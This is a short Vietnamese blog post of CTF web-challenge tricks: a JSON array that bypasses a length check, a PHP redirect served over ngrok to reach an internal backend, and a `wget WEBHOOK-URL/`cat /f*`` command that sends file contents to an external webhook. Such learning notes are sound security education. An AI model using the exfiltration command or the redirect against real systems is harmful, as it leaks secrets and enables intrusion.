270 words
1 minutes
Học tricks từ writeup của Winky (Part 2)
2025-06-12

học từ writeup winky (tiệm cận intermediate)

Phiên bản giải bài CTF thực tế (giải cỏ + có chọn lọc)

Xin cám ơn Winky aka Yuki Shiroi đã viết 1 blog tuyệt vời https://threalwinky.github.io/archives/

luôn nghi ngờ các json, encoding,… khi được truyền vào, rất nhiều bài dựa vào misunderstanding của server để ra đề ví dụ:

try {
		const { num } = await c.req.json();
		if (num.length === 3 && [...num].every((d) => /\d/.test(d))) {
			const i = parseInt(num, 10);
			if (i === 65536) {
				return c.text(`Congratulations! ${flag}`);
			}
			return c.text("Please send 65536");
		}
		if (num.length > 3) {
			return c.text("Too long!");
		}
		return c.text("Please send 3-digit integer");
}

bắt buộc là length() == 3 và phải gửi số 65536 để lấy flag nhưng chính số đó ko có length == 3

=> bypass bằng gửi mảng “num”: [65536,1,1] => length mảng bằng 3 và hàm parseint parse từng cái dữ liệu và ra 65536

1 ví dụ khác: server sẽ basename url => tức là chỉ truy cập endpoint cuối trong url ta ghi => ko thể di chuyển/truy cập endpoint theo ý muốn ta có thể viết 1 đoạn php ở máy, rồi dùng ngrok tạo tunnel

<!DOCTYPE html>
<html>
<body>
<?php
header("location: http://backend:5000/health_check");
?>
</body>
</html>

nếu ta biết payload có tác dụng tuy nhiên server ko hiện lên màn hình (hoặc ko hiện kết quả ngoài mấy cái xàm xàm) => sử dụng webhookwget

 FLAG=$(wget WEBHOOK-URL/`cat /f*`)

thay webhook bằng url trong webhook.site (tùy) note: kí tự backstick () ở đây (trong shell) là thực hiện trong lệnh đó và lấy stdout của lệnh đó thay vào vị trí backstick ví dụ:wget WEBHOOK-URL/CTF{secret_flag_here}`